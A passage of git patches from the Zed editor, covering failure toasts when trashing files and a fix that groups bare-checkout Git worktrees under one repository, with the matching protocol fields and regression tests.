-                        changes.push(Change::Trashed(worktree_id, trashed_entry));
+                for (worktree_id, task) in tasks {
+                    match Self::resolve_delete_entry(task, worktree_id, trash).await {
+                        DeleteEntryOutcome::Deleted => {}
+                        DeleteEntryOutcome::Trashed(change) => changes.push(change),
+                        DeleteEntryOutcome::Failed => failed_count += 1,
                     }
                 }
+
                 panel.update_in(cx, |panel, window, cx| {
                     if trash {
                         panel.undo_manager.record(changes).log_err();
                     }
 
+                    if failed_count > 0 {
+                        panel.show_remove_failure_toast(trash, total_count, failed_count, cx);
+                    }
+
                     if let Some(next_selection) = next_selection {
                         panel.update_visible_entries(
                             Some((next_selection.worktree_id, next_selection.entry_id)),
@@ -2663,6 +2707,39 @@ impl ProjectPanel {
         });
     }
 
+    /// Displays a toast notification, informing that the application was not
+    /// able to delete/trash some of the files the user intended to
+    /// delete/trash.
+    fn show_remove_failure_toast(
+        &self,
+        trash: bool,
+        total_count: usize,
+        failed_count: usize,
+        cx: &mut Context<Self>,
+    ) {
+        let message = match (trash, total_count) {
+            (true, 1) => format!("Failed to trash {failed_count} of {total_count} file."),
+            (true, _) => format!("Failed to trash {failed_count} of {total_count} files."),
+            (false, 1) => format!("Failed to delete {failed_count} of {total_count} file."),
+            (false, _) => format!("Failed to delete {failed_count} of {total_count} files."),
+        };
+
+        let toast = StatusToast::new(message, cx, |this, _| {
+            this.icon(
+                Icon::new(IconName::XCircle)
+                    .size(IconSize::Small)
+                    .color(Color::Error),
+            )
+            .dismiss_button(true)
+        });
+
+        self.workspace
+            .update(cx, |workspace, cx| {
+                workspace.toggle_status_toast(toast, cx);
+            })
+            .ok();
+    }
+
     fn find_next_selection_after_deletion(
         &self,
         sanitized_entries: BTreeSet<SelectedEntry>,
diff --git a/crates/project_panel/src/tests/undo.rs b/crates/project_panel/src/tests/undo.rs
index 4315a6ecb4c3d2..1e69c7443ae2de 100644
--- a/crates/project_panel/src/tests/undo.rs
+++ b/crates/project_panel/src/tests/undo.rs
@@ -382,3 +382,25 @@ async fn trash_undo_redo(cx: &mut gpui::TestAppContext) {
     cx.redo().await;
     cx.assert_fs_state_is(&[]);
 }
+
+#[gpui::test]
+async fn trash_continues_when_one_entry_fails(cx: &mut gpui::TestAppContext) {
+    let mut cx = TestContext::new_with_tree(
+        cx,
+        json!({
+            "0_dir": {},
+            "a.txt": "",
+            "b.txt": "",
+        }),
+    )
+    .await;
+
+    cx.fs
+        .set_remove_dir_error(path("/workspace/0_dir"), "simulated failure".into());
+
+    cx.trash(&["0_dir", "a.txt", "b.txt"]).await;
+    cx.assert_fs_state_is(&["0_dir/"]);
+
+    cx.undo().await;
+    cx.assert_fs_state_is(&["0_dir/", "a.txt", "b.txt"]);
+}

From ea87b0579464067eb45a1c1a1f2c1bdb80af7e1f Mon Sep 17 00:00:00 2001
From: Anant Goel <anant@zed.dev>
Date: Thu, 2 Jul 2026 11:14:11 -0700
Subject: [PATCH 226/772] Fix worktree grouping for bare checkouts (#59968)

Summary

- Track whether a worktree root is itself a linked Git worktree.
- Use that metadata when computing project group keys so bare checkout
worktrees group under the repository identity path.
- Propagate the metadata through remote worktree protocols and add
local/remote regression coverage.

Background

Bare checkout layouts can place linked worktrees under the repository
identity directory, e.g. `/monty/.bare` with worktrees like
`/monty/feature-a`. We were treating those linked worktree paths as
separate project identities, which caused the sidebar to move agent
threads under the active worktree instead of the shared repository
group.
We also exclude adding this to collab intentionally, we can open a
different PR for that if we need to.

Closes #59910
Closes AI-431

Test Plan

- `cargo fmt --package project --package worktree --package
remote_server --package workspace --package collab --package proto`
- `git --no-pager diff --check`
- `cargo test -p project test_project_group_key -- --nocapture`
- `cargo test -p remote_server test_remote_root_repo_common_dir --
--nocapture`
- `cargo test -p worktree remote_worktree -- --nocapture`
- `cargo test -p workspace
test_remote_project_root_dir_changes_update_groups -- --nocapture`
- `cargo check -p collab`

Self-Review Checklist:

 I've reviewed my own diff for quality, security, and reliability
 Unsafe blocks (if any) have justifying comments
The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
 Tests cover the new/changed behavior
 Performance impact has been considered and is acceptable

Release Notes:

- Fixed agent thread/sidebar grouping for Git worktrees backed by bare
checkouts.

---------

Co-authored-by: Anthony Eid <anthony@zed.dev>
---
 crates/collab/src/db.rs                       |   2 +
 crates/collab/src/rpc.rs                      |   6 +
 crates/project/src/project.rs                 |   1 +
 crates/project/src/worktree_store.rs          |   6 +-
 .../tests/integration/project_tests.rs        | 182 ++++++++++++++++++
 crates/proto/proto/call.proto                 |   1 +
 crates/proto/proto/worktree.proto             |   2 +
 crates/proto/src/proto.rs                     |   1 +
 crates/remote_server/src/headless_project.rs  |   1 +
 .../remote_server/src/remote_editing_tests.rs |  40 +++-
 crates/workspace/src/multi_workspace_tests.rs |   1 +
 crates/worktree/src/worktree.rs               |  82 ++++++--
 .../tests/integration/worktree_tests.rs       |  93 +++++++++
 13 files changed, 398 insertions(+), 20 deletions(-)

diff --git a/crates/collab/src/db.rs b/crates/collab/src/db.rs
index 60e49fc39a6091..d8dad9fec13fa0 100644
--- a/crates/collab/src/db.rs
+++ b/crates/collab/src/db.rs
@@ -525,6 +525,8 @@ impl RejoinedProject {
                     visible: worktree.visible,
                     abs_path: worktree.abs_path.clone(),
                     root_repo_common_dir: None,
+                    // todo(collab): Get this field from database
+                    root_repo_is_linked_worktree: false,
                 })
                 .collect(),
             collaborators: self
diff --git a/crates/collab/src/rpc.rs b/crates/collab/src/rpc.rs
index c0ea34bf3aad70..431350971ce590 100644
--- a/crates/collab/src/rpc.rs
+++ b/crates/collab/src/rpc.rs
@@ -1599,6 +1599,8 @@ fn notify_rejoined_projects(
                 abs_path: worktree.abs_path.clone(),
                 root_name: worktree.root_name,
                 root_repo_common_dir: worktree.root_repo_common_dir,
+                // todo(collab): Get this field from database
+                root_repo_is_linked_worktree: false,
                 updated_entries: worktree.updated_entries,
                 removed_entries: worktree.removed_entries,
                 scan_id: worktree.scan_id,
@@ -2007,6 +2009,8 @@ async fn join_project(
             visible: worktree.visible,
             abs_path: worktree.abs_path.clone(),
             root_repo_common_dir: None,
+            // todo(collab): Get this field from database
+            root_repo_is_linked_worktree: false,
         })
         .collect::<Vec<_>>();
 
@@ -2059,6 +2063,8 @@ async fn join_project(
             abs_path: worktree.abs_path.clone(),
             root_name: worktree.root_name,
             root_repo_common_dir: worktree.root_repo_common_dir,
+            // todo(collab): Get this field from database
+            root_repo_is_linked_worktree: false,
             updated_entries: worktree.entries,
             removed_entries: Default::default(),
             scan_id: worktree.scan_id,
diff --git a/crates/project/src/project.rs b/crates/project/src/project.rs
index 12a3a263d2d6e2..7043c243d83454 100644
--- a/crates/project/src/project.rs
+++ b/crates/project/src/project.rs
@@ -2148,6 +2148,7 @@ impl Project {
                 visible: true,
                 abs_path: abs_path.to_string(),
                 root_repo_common_dir: None,
+                root_repo_is_linked_worktree: false,
             },
             client,
             PathStyle::Posix,
diff --git a/crates/project/src/worktree_store.rs b/crates/project/src/worktree_store.rs
index fd63c972f1d196..911f9f79f3be0b 100644
--- a/crates/project/src/worktree_store.rs
+++ b/crates/project/src/worktree_store.rs
@@ -827,6 +827,7 @@ impl WorktreeStore {
                         visible,
                         abs_path: response.canonicalized_path,
                         root_repo_common_dir: response.root_repo_common_dir,
+                        root_repo_is_linked_worktree: response.root_repo_is_linked_worktree,
                     },
                     client,
                     path_style,
@@ -1155,6 +1156,7 @@ impl WorktreeStore {
                     root_repo_common_dir: worktree
                         .root_repo_common_dir()
                         .map(|p| p.to_string_lossy().into_owned()),
+                    root_repo_is_linked_worktree: worktree.root_repo_is_linked_worktree(),
                 }
             })
             .collect()
@@ -1371,7 +1373,9 @@ impl WorktreeStore {
                     .root_repo_common_dir()
                     .map(|dir| crate::git_store::repo_identity_path(dir))
                     .filter(|repo_path| {
-                        *repo_path == folder_path.as_path() || !folder_path.starts_with(*repo_path)
+                        snapshot.root_repo_is_linked_worktree()
+                            || *repo_path == folder_path.as_path()
+                            || !folder_path.starts_with(*repo_path)
                     })
                     .map(Path::to_path_buf)
                     .unwrap_or_else(|| folder_path.clone());
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index 16e948f3a730f8..da62617d2861cd 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -12070,6 +12070,188 @@ async fn test_project_group_keys_remain_distinct_for_sibling_repo_subdirectories
     );
 }
 
+fn project_group_key_paths(project: &Entity<Project>, cx: &TestAppContext) -> Vec<PathBuf> {
+    project.read_with(cx, |project, cx| {
+        ProjectGroupKey::from_project(project, cx)
+            .path_list()
+            .ordered_paths()
+            .cloned()
+            .collect()
+    })
+}
+
+fn project_worktree_paths(
+    project: &Entity<Project>,
+    cx: &TestAppContext,
+) -> (Vec<PathBuf>, Vec<PathBuf>) {
+    project.read_with(cx, |project, cx| {
+        let paths = project.worktree_paths(cx);
+        (
+            paths.folder_path_list().ordered_paths().cloned().collect(),
+            paths
+                .main_worktree_path_list()
+                .ordered_paths()
+                .cloned()
+                .collect(),
+        )
+    })
+}
+
+#[gpui::test]
+async fn test_project_group_keys_match_for_bare_repo_linked_worktrees(
+    executor: gpui::BackgroundExecutor,
+    cx: &mut gpui::TestAppContext,
+) {
+    init_test(cx);
+
+    let fs = FakeFs::new(executor);
+    fs.insert_tree(
+        path!("/root"),
+        json!({
+            "monty": {
+                ".git": "gitdir: ./.bare\n",
+                ".bare": {
+                    "HEAD": "ref: refs/heads/main\n",
+                    "worktrees": {
+                        "main": {
+                            "commondir": "../..",
+                            "gitdir": "/root/monty/main/.git",
+                        },
+                        "feature-a": {
+                            "commondir": "../..",
+                            "gitdir": "/root/monty/feature-a/.git",
+                        },
+                        "feature-b": {
+                            "commondir": "../..",
+                            "gitdir": "/root/monty/feature-b/.git",
+                        },
+                    },
+                },
+                "main": {
+                    ".git": "gitdir: /root/monty/.bare/worktrees/main\n",
+                    "file.txt": "main",
+                },
+                "feature-a": {
+                    ".git": "gitdir: /root/monty/.bare/worktrees/feature-a\n",
+                    "file.txt": "a",
+                },
+                "feature-b": {
+                    ".git": "gitdir: /root/monty/.bare/worktrees/feature-b\n",
+                    "file.txt": "b",
+                },
+            },
+        }),
+    )
+    .await;
+
+    let project_root = Project::test(fs.clone(), [path!("/root/monty").as_ref()], cx).await;
+    let project_main = Project::test(fs.clone(), [path!("/root/monty/main").as_ref()], cx).await;
+    let project_a = Project::test(fs.clone(), [path!("/root/monty/feature-a").as_ref()], cx).await;
+    let project_b = Project::test(fs, [path!("/root/monty/feature-b").as_ref()], cx).await;
+
+    project_root
+        .update(cx, |project, cx| project.git_scans_complete(cx))
+        .await;
+    project_main
+        .update(cx, |project, cx| project.git_scans_complete(cx))
+        .await;
+    project_a
+        .update(cx, |project, cx| project.git_scans_complete(cx))
+        .await;
+    project_b
+        .update(cx, |project, cx| project.git_scans_complete(cx))
+        .await;
+    cx.run_until_parked();
+
+    for project in [&project_root, &project_main, &project_a, &project_b] {
+        assert_eq!(
+            project_group_key_paths(project, cx),
+            vec![PathBuf::from(path!("/root/monty"))]
+        );
+    }
+
+    assert_eq!(
+        project_worktree_paths(&project_root, cx),
+        (
+            vec![PathBuf::from(path!("/root/monty"))],
+            vec![PathBuf::from(path!("/root/monty"))],
+        )
+    );
+    assert_eq!(
+        project_worktree_paths(&project_main, cx),
+        (
+            vec![PathBuf::from(path!("/root/monty/main"))],
+            vec![PathBuf::from(path!("/root/monty"))],
+        )
+    );
+    assert_eq!(
+        project_worktree_paths(&project_a, cx),
+        (
+            vec![PathBuf::from(path!("/root/monty/feature-a"))],
+            vec![PathBuf::from(path!("/root/monty"))],
+        )
+    );
+    assert_eq!(
+        project_worktree_paths(&project_b, cx),
+        (
+            vec![PathBuf::from(path!("/root/monty/feature-b"))],
+            vec![PathBuf::from(path!("/root/monty"))],
+        )
+    );
+}
+
+#[gpui::test]
+async fn test_project_group_key_groups_nested_linked_worktree_under_main_repo(
+    executor: gpui::BackgroundExecutor,
+    cx: &mut gpui::TestAppContext,
+) {
+    init_test(cx);
+
+    let fs = FakeFs::new(executor);
+    fs.insert_tree(
+        path!("/root"),
+        json!({
+            "my-repo": {
+                ".git": {},
+                "file.txt": "content",
+            },
+        }),
+    )
+    .await;
+
+    let linked_worktree_path = PathBuf::from(path!("/root/my-repo/.zed/worktrees/feature"));
+    fs.add_linked_worktree_for_repo(
+        Path::new(path!("/root/my-repo/.git")),
+        false,
+        git::repository::Worktree {
+            path: linked_worktree_path.clone(),
+            ref_name: Some("refs/heads/feature".into()),
+            sha: "abc123".into(),
+            is_main: false,
+            is_bare: false,
+        },
+    )
+    .await;
+
+    let project = Project::test(fs, [linked_worktree_path.as_path()], cx).await;
+    project
+        .update(cx, |project, cx| project.git_scans_complete(cx))
+        .await;
+    cx.run_until_parked();
+
+    assert_eq!(
+        project_group_key_paths(&project, cx),
+        vec![PathBuf::from(path!("/root/my-repo"))]
+    );
+    assert_eq!(
+        project_worktree_paths(&project, cx),
+        (
+            vec![PathBuf::from(path!("/root/my-repo/.zed/worktrees/feature"))],
+            vec![PathBuf::from(path!("/root/my-repo"))],
+        )
+    );
+}
+
 #[gpui::test]
 async fn test_repository_subfolder_git_status(
     executor: gpui::BackgroundExecutor,
diff --git a/crates/proto/proto/call.proto b/crates/proto/proto/call.proto
index aa79014959ab1e..180d1e5659f111 100644
--- a/crates/proto/proto/call.proto
+++ b/crates/proto/proto/call.proto
@@ -231,6 +231,7 @@ message UpdateWorktree {
   bool is_last_update = 9;
   string abs_path = 10;
   optional string root_repo_common_dir = 11;
+  bool root_repo_is_linked_worktree = 12;
 }
 
 // deprecated
diff --git a/crates/proto/proto/worktree.proto b/crates/proto/proto/worktree.proto
index 08a1317f6ac7e2..285b4c9056d763 100644
--- a/crates/proto/proto/worktree.proto
+++ b/crates/proto/proto/worktree.proto
@@ -41,6 +41,7 @@ message AddWorktreeResponse {
   uint64 worktree_id = 1;
   string canonicalized_path = 2;
   optional string root_repo_common_dir = 3;
+  bool root_repo_is_linked_worktree = 4;
 }
 
 message RemoveWorktree {
@@ -64,6 +65,7 @@ message WorktreeMetadata {
   bool visible = 3;
   string abs_path = 4;
   optional string root_repo_common_dir = 5;
+  bool root_repo_is_linked_worktree = 6;
 }
 
 message ProjectPath {
diff --git a/crates/proto/src/proto.rs b/crates/proto/src/proto.rs
index b998300f065a34..3fbd23527579e2 100644
--- a/crates/proto/src/proto.rs
+++ b/crates/proto/src/proto.rs
@@ -924,6 +924,7 @@ pub fn split_worktree_update(mut message: UpdateWorktree) -> impl Iterator<Item
             root_name: message.root_name.clone(),
             abs_path: message.abs_path.clone(),
             root_repo_common_dir: message.root_repo_common_dir.clone(),
+            root_repo_is_linked_worktree: message.root_repo_is_linked_worktree,
             updated_entries,
             removed_entries,
             scan_id: message.scan_id,
diff --git a/crates/remote_server/src/headless_project.rs b/crates/remote_server/src/headless_project.rs
index e5b2ef47deaab1..57f910b5ea1654 100644
--- a/crates/remote_server/src/headless_project.rs
+++ b/crates/remote_server/src/headless_project.rs
@@ -537,6 +537,7 @@ impl HeadlessProject {
                 root_repo_common_dir: worktree
                     .root_repo_common_dir()
                     .map(|p| p.to_string_lossy().into_owned()),
+                root_repo_is_linked_worktree: worktree.root_repo_is_linked_worktree(),
             }
         });
 
diff --git a/crates/remote_server/src/remote_editing_tests.rs b/crates/remote_server/src/remote_editing_tests.rs
index cd70c9c2914d2f..46e2eb1eb62f1a 100644
--- a/crates/remote_server/src/remote_editing_tests.rs
+++ b/crates/remote_server/src/remote_editing_tests.rs
@@ -2161,13 +2161,17 @@ async fn test_remote_root_repo_common_dir(cx: &mut TestAppContext, server_cx: &m
         .unwrap();
     cx.executor().run_until_parked();
 
-    let common_dir = worktree_main.read_with(cx, |worktree, _| {
-        worktree.snapshot().root_repo_common_dir().cloned()
+    let (common_dir, is_linked_worktree) = worktree_main.read_with(cx, |worktree, _| {
+        (
+            worktree.snapshot().root_repo_common_dir().cloned(),
+            worktree.snapshot().root_repo_is_linked_worktree(),
+        )
     });
     assert_eq!(
         common_dir.as_deref(),
         Some(Path::new("/code/main_repo/.git")),
     );
+    assert!(!is_linked_worktree);
 
     // Linked worktree: root_repo_common_dir should point to the main repo's .git.
     let (worktree_linked, _) = project
@@ -2178,13 +2182,33 @@ async fn test_remote_root_repo_common_dir(cx: &mut TestAppContext, server_cx: &m
         .unwrap();
     cx.executor().run_until_parked();
 
-    let common_dir = worktree_linked.read_with(cx, |worktree, _| {
-        worktree.snapshot().root_repo_common_dir().cloned()
+    let (common_dir, is_linked_worktree) = worktree_linked.read_with(cx, |worktree, _| {
+        (
+            worktree.snapshot().root_repo_common_dir().cloned(),
+            worktree.snapshot().root_repo_is_linked_worktree(),
+        )
     });
     assert_eq!(
         common_dir.as_deref(),
         Some(Path::new("/code/main_repo/.git")),
     );
+    assert!(is_linked_worktree);
+
+    let main_worktree_paths = project.read_with(cx, |project, cx| {
+        project
+            .worktree_paths(cx)
+            .main_worktree_path_list()
+            .ordered_paths()
+            .map(|path| path.to_path_buf())
+            .collect::<Vec<_>>()
+    });
+    assert_eq!(
+        main_worktree_paths,
+        vec![
+            PathBuf::from("/code/main_repo"),
+            PathBuf::from("/code/main_repo"),
+        ]
+    );
 
     // No git repo: root_repo_common_dir should be None.
     let (worktree_no_git, _) = project
@@ -2195,10 +2219,14 @@ async fn test_remote_root_repo_common_dir(cx: &mut TestAppContext, server_cx: &m
         .unwrap();
     cx.executor().run_until_parked();
 
-    let common_dir = worktree_no_git.read_with(cx, |worktree, _| {
-        worktree.snapshot().root_repo_common_dir().cloned()
+    let (common_dir, is_linked_worktree) = worktree_no_git.read_with(cx, |worktree, _| {
+        (
+            worktree.snapshot().root_repo_common_dir().cloned(),
+            worktree.snapshot().root_repo_is_linked_worktree(),
+        )
     });
     assert_eq!(common_dir, None);
+    assert!(!is_linked_worktree);
 }
 
 #[gpui::test]
diff --git a/crates/workspace/src/multi_workspace_tests.rs b/crates/workspace/src/multi_workspace_tests.rs
index 323fc10fb018dc..e0a6bb1e0eba3e 100644
--- a/crates/workspace/src/multi_workspace_tests.rs
+++ b/crates/workspace/src/multi_workspace_tests.rs
@@ -846,6 +846,7 @@ async fn test_remote_project_root_dir_changes_update_groups(cx: &mut TestAppCont
                 updated_repositories: vec![],
                 removed_repositories: vec![],
                 root_repo_common_dir: None,
+                root_repo_is_linked_worktree: false,
             });
     });
     cx.run_until_parked();
diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index 2711362dd1874c..c31385f455371e 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -181,6 +181,7 @@ pub struct Snapshot {
     entries_by_path: SumTree<Entry>,
     entries_by_id: SumTree<PathEntry>,
     root_repo_common_dir: Option<Arc<SanitizedPath>>,
+    root_repo_is_linked_worktree: bool,
     always_included_entries: Vec<Arc<RelPath>>,
 
     /// A number that increases every time the worktree begins scanning
@@ -421,12 +422,18 @@ impl Worktree {
             None
         };
 
-        let root_repo_common_dir = if visible {
-            discover_root_repo_common_dir(&abs_path, fs.as_ref())
+        let (root_repo_common_dir, root_repo_is_linked_worktree) = if visible {
+            discover_root_repo_metadata(&abs_path, fs.as_ref())
                 .await
-                .map(SanitizedPath::from_arc)
+                .map(|(common_dir, is_linked_worktree)| {
+                    (
+                        Some(SanitizedPath::from_arc(common_dir)),
+                        is_linked_worktree,
+                    )
+                })
+                .unwrap_or((None, false))
         } else {
-            None
+            (None, false)
         };
         Ok(cx.new(move |cx: &mut Context<Worktree>| {
             let mut snapshot = LocalSnapshot {
@@ -447,6 +454,7 @@ impl Worktree {
                 root_file_handle,
             };
             snapshot.root_repo_common_dir = root_repo_common_dir;
+            snapshot.root_repo_is_linked_worktree = root_repo_is_linked_worktree;
 
             let worktree_id = snapshot.id();
             let settings_location = Some(SettingsLocation {
@@ -535,6 +543,7 @@ impl Worktree {
             snapshot.root_repo_common_dir = worktree
                 .root_repo_common_dir
                 .map(|p| SanitizedPath::new_arc(Path::new(&p)));
+            snapshot.root_repo_is_linked_worktree = worktree.root_repo_is_linked_worktree;
 
             let background_snapshot = Arc::new(Mutex::new((
                 snapshot.clone(),
@@ -597,6 +606,8 @@ impl Worktree {
                         }
 
                         let old_root_repo_common_dir = this.snapshot.root_repo_common_dir.clone();
+                        let old_root_repo_is_linked_worktree =
+                            this.snapshot.root_repo_is_linked_worktree;
                         let mut changed_entries: Vec<(Arc<RelPath>, ProjectEntryId, PathChange)> =
                             Vec::new();
                         {
@@ -639,6 +650,8 @@ impl Worktree {
                         let is_first_update = !this.received_initial_update;
                         this.received_initial_update = true;
                         if this.snapshot.root_repo_common_dir != old_root_repo_common_dir
+                            || this.snapshot.root_repo_is_linked_worktree
+                                != old_root_repo_is_linked_worktree
                             || (is_first_update && this.snapshot.root_repo_common_dir.is_none())
                         {
                             cx.emit(Event::UpdatedRootRepoCommonDir {
@@ -734,6 +747,7 @@ impl Worktree {
             root_repo_common_dir: self
                 .root_repo_common_dir()
                 .map(|p| p.to_string_lossy().into_owned()),
+            root_repo_is_linked_worktree: self.root_repo_is_linked_worktree(),
         }
     }
 
@@ -1274,13 +1288,28 @@ impl LocalWorktree {
     ) {
         let repo_changes = self.changed_repos(&self.snapshot, &mut new_snapshot);
 
-        new_snapshot.root_repo_common_dir = new_snapshot
+        if let Some((common_dir, is_linked_worktree)) = new_snapshot
             .local_repo_for_work_directory_path(RelPath::empty())
-            .map(|repo| SanitizedPath::from_arc(repo.common_dir_abs_path.clone()));
+            .map(|repo| {
+                (
+                    SanitizedPath::from_arc(repo.common_dir_abs_path.clone()),
+                    repo.repository_dir_abs_path != repo.common_dir_abs_path,
+                )
+            })
+        {
+            new_snapshot.root_repo_common_dir = Some(common_dir);
+            new_snapshot.root_repo_is_linked_worktree = is_linked_worktree;
+        } else {
+            new_snapshot.root_repo_common_dir = None;
+            new_snapshot.root_repo_is_linked_worktree = false;
+        }
 
-        let old_root_repo_common_dir = (self.snapshot.root_repo_common_dir
-            != new_snapshot.root_repo_common_dir)
-            .then(|| self.snapshot.root_repo_common_dir.clone());
+        let root_repo_metadata_changed = self.snapshot.root_repo_common_dir
+            != new_snapshot.root_repo_common_dir
+            || self.snapshot.root_repo_is_linked_worktree
+                != new_snapshot.root_repo_is_linked_worktree;
+        let old_root_repo_common_dir =
+            root_repo_metadata_changed.then(|| self.snapshot.root_repo_common_dir.clone());
         self.snapshot = new_snapshot;
 
         if let Some(share) = self.update_observer.as_mut() {
@@ -2361,6 +2390,7 @@ impl Snapshot {
             entries_by_path: Default::default(),
             entries_by_id: Default::default(),
             root_repo_common_dir: None,
+            root_repo_is_linked_worktree: false,
             scan_id: 1,
             completed_scan_id: 0,
         }
@@ -2392,6 +2422,10 @@ impl Snapshot {
             .map(SanitizedPath::cast_arc_ref)
     }
 
+    pub fn root_repo_is_linked_worktree(&self) -> bool {
+        self.root_repo_is_linked_worktree
+    }
+
     fn build_initial_update(&self, project_id: u64, worktree_id: u64) -> proto::UpdateWorktree {
         let mut updated_entries = self
             .entries_by_path
@@ -2408,6 +2442,7 @@ impl Snapshot {
             root_repo_common_dir: self
                 .root_repo_common_dir()
                 .map(|p| p.to_string_lossy().into_owned()),
+            root_repo_is_linked_worktree: self.root_repo_is_linked_worktree,
             updated_entries,
             removed_entries: Vec::new(),
             scan_id: self.scan_id as u64,
@@ -2553,11 +2588,21 @@ impl Snapshot {
         self.entries_by_path.edit(entries_by_path_edits, ());
         self.entries_by_id.edit(entries_by_id_edits, ());
 
-        if let Some(dir) = update
+        // A `None` from a completed scan is a real repo removal, whereas a `None`
+        // mid-scan may just mean the sender hasn't registered the root repo yet.
+        match update
             .root_repo_common_dir
             .map(|p| SanitizedPath::new_arc(Path::new(&p)))
         {
-            self.root_repo_common_dir = Some(dir);
+            Some(dir) => {
+                self.root_repo_common_dir = Some(dir);
+                self.root_repo_is_linked_worktree = update.root_repo_is_linked_worktree;
+            }
+            None if update.is_last_update => {
+                self.root_repo_common_dir = None;
+                self.root_repo_is_linked_worktree = false;
+            }
+            None => {}
         }
 
         self.scan_id = update.scan_id as usize;
@@ -2790,6 +2835,7 @@ impl LocalSnapshot {
             root_repo_common_dir: self
                 .root_repo_common_dir()
                 .map(|p| p.to_string_lossy().into_owned()),
+            root_repo_is_linked_worktree: self.root_repo_is_linked_worktree,
             updated_entries,
             removed_entries,
             scan_id: self.scan_id as u64,
@@ -6621,13 +6667,23 @@ fn resolve_commondir_path(repository_dir_abs_path: &Path, commondir_path: &str)
 }
 
 pub async fn discover_root_repo_common_dir(root_abs_path: &Path, fs: &dyn Fs) -> Option<Arc<Path>> {
+    discover_root_repo_metadata(root_abs_path, fs)
+        .await
+        .map(|(common_dir, _)| common_dir)
+}
+
+async fn discover_root_repo_metadata(
+    root_abs_path: &Path,
+    fs: &dyn Fs,
+) -> Option<(Arc<Path>, bool)> {
     let root_dot_git = root_abs_path.join(DOT_GIT);
     if !fs.metadata(&root_dot_git).await.is_ok_and(|m| m.is_some()) {
         return None;
     }
     let dot_git_path: Arc<Path> = root_dot_git.into();
-    let (_, common_dir) = discover_git_paths(&dot_git_path, fs).await;
-    Some(common_dir)
+    let (repository_dir, common_dir) = discover_git_paths(&dot_git_path, fs).await;
+    let is_linked_worktree = repository_dir != common_dir;
+    Some((common_dir, is_linked_worktree))
 }
 
 async fn discover_git_paths(dot_git_abs_path: &Arc<Path>, fs: &dyn Fs) -> (Arc<Path>, Arc<Path>) {
diff --git a/crates/worktree/tests/integration/worktree_tests.rs b/crates/worktree/tests/integration/worktree_tests.rs
index 6a4370539afc1e..1fd7ed5b557f25 100644
--- a/crates/worktree/tests/integration/worktree_tests.rs
+++ b/crates/worktree/tests/integration/worktree_tests.rs
@@ -4932,6 +4932,7 @@ async fn test_remote_worktree_without_git_emits_root_repo_event_after_first_upda
                 visible: true,
                 abs_path: "/home/user/project".to_string(),
                 root_repo_common_dir: None,
+                root_repo_is_linked_worktree: false,
             },
             client,
             PathStyle::Posix,
@@ -4989,6 +4990,7 @@ async fn test_remote_worktree_without_git_emits_root_repo_event_after_first_upda
                 updated_repositories: vec![],
                 removed_repositories: vec![],
                 root_repo_common_dir: None,
+                root_repo_is_linked_worktree: false,
             });
     });
 
@@ -5027,6 +5029,7 @@ async fn test_remote_worktree_with_git_emits_root_repo_event_when_repo_info_arri
                 visible: true,
                 abs_path: "/home/user/project".to_string(),
                 root_repo_common_dir: None,
+                root_repo_is_linked_worktree: false,
             },
             client,
             PathStyle::Posix,
@@ -5081,6 +5084,7 @@ async fn test_remote_worktree_with_git_emits_root_repo_event_when_repo_info_arri
                 updated_repositories: vec![],
                 removed_repositories: vec![],
                 root_repo_common_dir: Some("/home/user/project/.git".to_string()),
+                root_repo_is_linked_worktree: false,
             });
     });
 
@@ -5101,6 +5105,94 @@ async fn test_remote_worktree_with_git_emits_root_repo_event_when_repo_info_arri
     );
 }
 
+#[gpui::test]
+async fn test_remote_worktree_root_repo_metadata_cleared_only_by_completed_scan(
+    cx: &mut TestAppContext,
+) {
+    cx.update(|cx| {
+        let store = SettingsStore::test(cx);
+        cx.set_global(store);
+    });
+
+    let client = AnyProtoClient::new(NoopProtoClient::new());
+
+    // Metadata eagerly seeds the root repo info, as `AddWorktreeResponse` /
+    // `WorktreeMetadata` do before the host's scan completes.
+    let worktree = cx.update(|cx| {
+        Worktree::remote(
+            1,
+            clock::ReplicaId::new(1),
+            proto::WorktreeMetadata {
+                id: 1,
+                root_name: "feature-a".to_string(),
+                visible: true,
+                abs_path: "/home/user/monty/feature-a".to_string(),
+                root_repo_common_dir: Some("/home/user/monty/.bare".to_string()),
+                root_repo_is_linked_worktree: true,
+            },
+            client,
+            PathStyle::Posix,
+            cx,
+        )
+    });
+
+    let root_repo_metadata = |cx: &mut TestAppContext| {
+        worktree.read_with(cx, |worktree, _| {
+            let snapshot = worktree.snapshot();
+            (
+                snapshot.root_repo_common_dir().cloned(),
+                snapshot.root_repo_is_linked_worktree(),
+            )
+        })
+    };
+
+    let update = |scan_id: u64, is_last_update: bool| proto::UpdateWorktree {
+        project_id: 1,
+        worktree_id: 1,
+        abs_path: "/home/user/monty/feature-a".to_string(),
+        root_name: "feature-a".to_string(),
+        updated_entries: vec![],
+        removed_entries: vec![],
+        scan_id,
+        is_last_update,
+        updated_repositories: vec![],
+        removed_repositories: vec![],
+        root_repo_common_dir: None,
+        root_repo_is_linked_worktree: false,
+    };
+
+    // A mid-scan update without repo info must not clobber the seeded
+    // metadata: the sender's scanner may not have registered the repo yet.
+    worktree.update(cx, |worktree, _cx| {
+        worktree
+            .as_remote()
+            .unwrap()
+            .update_from_remote(update(2, false));
+    });
+    cx.run_until_parked();
+
+    assert_eq!(
+        root_repo_metadata(cx),
+        (Some(Arc::from(Path::new("/home/user/monty/.bare"))), true,),
+        "mid-scan update without repo info should not clear seeded metadata"
+    );
+
+    // A completed scan without repo info is authoritative: the repo is gone.
+    worktree.update(cx, |worktree, _cx| {
+        worktree
+            .as_remote()
+            .unwrap()
+            .update_from_remote(update(3, true));
+    });
+    cx.run_until_parked();
+
+    assert_eq!(
+        root_repo_metadata(cx),
+        (None, false),
+        "completed scan without repo info should clear root repo metadata"
+    );
+}
+
 // Regression test: a remote worktree used to emit `UpdatedEntries` with an
 // empty changeset (`Arc::default()`), discarding the changed paths. Consumers
 // that key off those paths - notably the agent's `.agents/skills` refresh -
@@ -5152,6 +5244,7 @@ async fn test_remote_worktree_update_entries_carry_changed_paths(cx: &mut TestAp
                 visible: true,
                 abs_path: path!("/root").to_string(),
                 root_repo_common_dir: None,
